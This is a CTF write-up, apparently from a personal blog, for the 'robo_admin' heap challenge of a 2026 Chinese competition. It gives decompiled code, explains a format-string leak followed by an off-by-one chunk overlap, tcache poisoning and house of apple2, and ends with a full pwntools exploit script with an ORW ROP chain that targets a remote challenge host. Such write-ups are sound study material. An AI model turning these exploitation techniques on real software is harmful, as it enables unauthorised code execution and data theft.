有一次格式化字符串利用机会，可以泄露管理员密码和 libc 地址，然后获得进入管理员面板的权限

admin_panel

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unsigned __int64 admin_panel()
{
 char nptr[8]; // [rsp+0h] [rbp-20h] BYREF
 __int64 v2; // [rsp+8h] [rbp-18h]
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 while ( 1 )
 {
 puts("\n=== Task Menu ===");
 puts("1. create");
 puts("2. edit");
 puts("3. query");
 puts("4. list");
 puts("5. delete");
 puts("6. logout");
 puts("> ");
 *(_QWORD *)nptr = 0;
 v2 = 0;
 myread(nptr, 16);
 switch ( atoi(nptr) )
 {
 case 1:
 create();
 break;
 case 2:
 edit();
 break;
 case 3:
 query();
 break;
 case 4:
 list();
 break;
 case 5:
 delete();
 break;
 case 6:
 return v3 - __readfsqword(0x28u);
 default:
 puts("[X] invalid");
 break;
 }
 }
}

经典菜单堆题

create

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int create()
{
 size_t v0; // rax
 __int64 v1; // rax
 unsigned int v3; // [rsp+4h] [rbp-Ch]
 size_t size; // [rsp+8h] [rbp-8h]

 LODWORD(v0) = readidx();
 v3 = v0;
 if ( (v0 & 0x80000000) == 0LL )
 {
 if ( taskalive[(int)v0] )
 {
 LODWORD(v0) = puts("[X] slot used");
 }
 else
 {
 memset((char *)&task_name + 24 * (int)v0, 0, 0x18u);
 puts("Task name:");
 v1 = (__int64)taskname_getptr(v3);
 myread((void *)v1, 16);
 v0 = readnum("Desc size:", 24, 0x200);
 size = v0;
 if ( v0 )
 {
 task_desc[v3] = malloc(v0);
 if ( task_desc[v3] )
 {
 memset((void *)task_desc[v3], 0, size);
 task_size[v3] = size;
 *(_QWORD *)taskname_getptr_0x10(v3) = 0;
 taskalive[v3] = 1;
 LODWORD(v0) = puts("[+] task created");
 }
 else
 {
 LODWORD(v0) = puts("[X] malloc failed");
 }
 }
 }
 }
 return v0;
}

可申请大小 200 以内任意 chunk ，同时可控 7 个 chunk

edit

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int edit()
{
 __int64 v0; // rax
 unsigned __int64 v1; // r12
 ssize_t v2; // rbx
 ssize_t *v3; // rax
 unsigned int v5; // [rsp+Ch] [rbp-24h]
 size_t nbytes; // [rsp+10h] [rbp-20h]
 ssize_t v7; // [rsp+18h] [rbp-18h]

 LODWORD(v0) = readidx();
 v5 = v0;
 if ( (int)v0 >= 0 )
 {
 if ( taskalive[(int)v0] )
 {
 v0 = readnum("Write length :", 1, task_size[(int)v0] + 1LL);
 nbytes = v0;
 if ( v0 )
 {
 puts("New desc bytes:");
 v7 = read(0, *((void **)&task_desc + (int)v5), nbytes);
 if ( v7 > 0 )
 {
 if ( task_size[v5] <= (unsigned __int64)v7 )
 {
 if ( task_size[v5] )
 *(_BYTE *)(*((_QWORD *)&task_desc + (int)v5) + task_size[v5] - 1LL) = 0;
 }
 else
 {
 *(_BYTE *)(*((_QWORD *)&task_desc + (int)v5) + v7) = 0;
 }
 v1 = task_size[v5];
 v2 = v7;
 v3 = (ssize_t *)taskname_getptr_0x10(v5);
 if ( v1 <= v7 )
 v2 = v1;
 *v3 = v2;
 LODWORD(v0) = puts("[+] task updated");
 }
 else
 {
 LODWORD(v0) = puts("[X] read failed");
 }
 }
 }
 else
 {
 LODWORD(v0) = puts("[X] empty");
 }
 }
 return v0;
}

发现 off-by-one 漏洞，然后写入的内容末尾会补一个 ‘\x00’ ，阻挠进一步的泄露

delete

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int delete()
{
 int result; // eax
 int v1; // [rsp+Ch] [rbp-4h]

 result = readidx();
 v1 = result;
 if ( result >= 0 )
 {
 if ( taskalive[result] )
 {
 free((void *)task_desc[result]);
 task_desc[v1] = 0;
 task_size[v1] = 0;
 memset((char *)&task_name + 24 * v1, 0, 0x18u);
 taskalive[v1] = 0;
 return puts("[+] deleted");
 }
 else
 {
 return puts("[X] empty");
 }
 }
 return result;
}

没有 UAF

攻击思路

利用格式化字符串获取管理员权限后，就是 off-by-one 的利用了

准备三个相邻 chunk A, B, C ，从低地址到高地址排列

利用 A 的 off-by-one 漏洞使 B 恰好包括住 C ，然后 free 掉 B 使之进入 unsortedbin

申请原来的 B 的大小的 chunk ，使 unsortedbin 剩下 lastremainder C ，然后再申请 C 的大小，这样就获得了两个指向同一个 chunk 的堆指针

最后 free 掉其中一个指针，就可以达成 UAF 的效果，leak heap 后用 tcache poisoning 打 house of apple2 写 orw 链即可

不过 chunk 的大小还要精心选择一波，在开始利用之前需要做一下堆风水使 B 能进入 unsortedbin

吐槽一下这初始的堆环境是有够恶劣的。。。

exp

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from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './robo_admin_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def encoder(text):
 result = str()
 for i in text:
 if i == '%' or i == '$':
 result += '\\' + hex(ord(i))[1:]
 else:
 result += i
 return result.encode()

def safelinking(pos, ptr):
 return (pos >> 12) ^ ptr

def decodenext(x):
 a = x
 for _ in range(12):
 x = a ^ (x >> 12)
 return x

def setnotice(notice):
 sla(b'> \n', b'1')
 s(notice)

def showstatus():
 sla(b'> \n', b'2')

def admin_login(pwd):
 sla(b'> \n', b'3')
 sa(b'Token:\n', b'ROBOADMIN')
 sa(b'Password (32 hex):\n', pwd)

def exit():
 sla(b'> \n', b'4')

def createtask(idx, name, size):
 sla(b'> \n', b'1')
 sla(b'Index:\n', str(idx).encode())
 sa(b'name:\n', name)
 sla(b'size:\n', str(size).encode())

def edittask(idx, length, content):
 sla(b'> \n', b'2')
 sla(b'Index:\n', str(idx).encode())
 sa(b'length :\n', str(length).encode())
 sla(b'bytes:\n', content)

def querytask(idx):
 sla(b'> \n', b'3')
 sla(b'Index:\n', str(idx).encode())

def deletetask(idx):
 sla(b'> \n', b'5')
 sla(b'Index:\n', str(idx).encode())

def logout():
 sla(b'> \n', b'6')

setnotice(encoder('%6$016p%7$016p%23$p')) # leak pwd, libc
showstatus()
ru(b'Notice: ')
r(2)
pwd = r(16)
r(2)
pwd += r(16)
r(2)
libc.address = int(r(12).decode('utf-8'), 16) - 0x29d90
leak('libc.address')
admin_login(pwd)

createtask(0, b'WWW', 0x48) # init_chunk
createtask(1, b'WWW', 0x48)
createtask(2, b'WWW', 0x48)
deletetask(0)
deletetask(1)
deletetask(2)

for i in range(7): # fill tcache
 createtask(i, str(i).encode(), 0x1d8)
for i in range(7):
 deletetask(i)

createtask(0, b'AAA', 0xd8) # build overlap
createtask(1, b'AAA', 0xf8)
createtask(2, b'AAA', 0xd8)
createtask(3, b'AAA', 0xd8)
payload = b'A' * 0xd8 + b'\xe1'
edittask(0, 0xd9, payload)
deletetask(1)
createtask(1, b'AAA', 0xf8)
deletetask(1)
createtask(1, b'AAA', 0xd8)
deletetask(3)
deletetask(1)

querytask(2) # leak heap
ru(b' => ')
heap = decodenext(uu64(r(6))) - 0x2940
leak('heap')

payload = p64(safelinking(heap + 0x2000, heap + 0xf0)) # tcache poisoning
edittask(2, 0x8, payload)
createtask(3, b'AAA', 0xd8)
createtask(4, b'AAA', 0xd8)
stderr = libc.symbols['_IO_2_1_stderr_']
payload = p64(stderr) + p64(stderr)
edittask(4, 0x16, payload)

createtask(6, b'BBB', 0xe0) # house of apple2
fake_io = flat({
 0x0: 0,
 0x10: b'flag\x00',
 0x28: libc.sym['setcontext'] + 0x3d,
 0x38: 0, # RDI
 0x40: stderr + 0x20, # RSI
 0x58: 0x400, # RDX
 0x70: stderr + 0x20, # RSP
 0X78: libc.sym['read'], # RIP
 0x88: stderr,
 0xA0: stderr - 0x30, # __rdx__
 0xB0: stderr - 0x40,
 0xD8: libc.sym['_IO_wfile_jumps']
 },
 filler=b"\x00"
)
edittask(6, 0xe0, fake_io)
logout()
exit()

pop_rax_ret = libc.address + 0x45eb0
pop_rdi_ret = libc.address + 0x2a3e5
pop_rsi_ret = libc.address + 0x2be51
pop_rdx_pop_r12_ret = libc.address + 0x11f367
syscall_ret = libc.address + 0x91316

rop_chain = flat([
 pop_rax_ret,
 257,
 pop_rdi_ret,
 -100,
 pop_rsi_ret,
 stderr + 0x10,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret,		# openat(-100, "flag", 0)
 pop_rax_ret,
 0,
 pop_rdi_ret,
 3,
 pop_rsi_ret,
 stderr + 0x400,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret,		# read(3, buf, 0x100)
 pop_rax_ret,
 1,
 pop_rdi_ret,
 1,
 pop_rsi_ret,
 stderr + 0x400,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret		# write(1, buf, 0x100)
])

sla(b'bye', rop_chain)

itr()

# 0x0000000000045eb0: pop rax; ret;
# 0x000000000002a3e5: pop rdi; ret;
# 0x000000000002be51: pop rsi; ret;
# 0x000000000011f367: pop rdx; pop r12; ret;
# 0x0000000000091316: syscall; ret;

Off by One on RatherHard の Blog

CCSSSC-2026-pwn 题解

初赛

MailSystem

checksec

IDA

main

menu

init

login

register

admin_check

admin_panel

mail_panel

add_user

mail_user_to_user

mail_menu

write_mail

read_mail

send_mail

read_menu

secure_check

bss

攻击思路

管理员内存结构

用户内存结构

漏洞点利用

exp

区域决赛

robo_admin

checksec

IDA

mystart

seccomp

setnotice

decode

showstatus

admin_panel

create

edit

delete

攻击思路

exp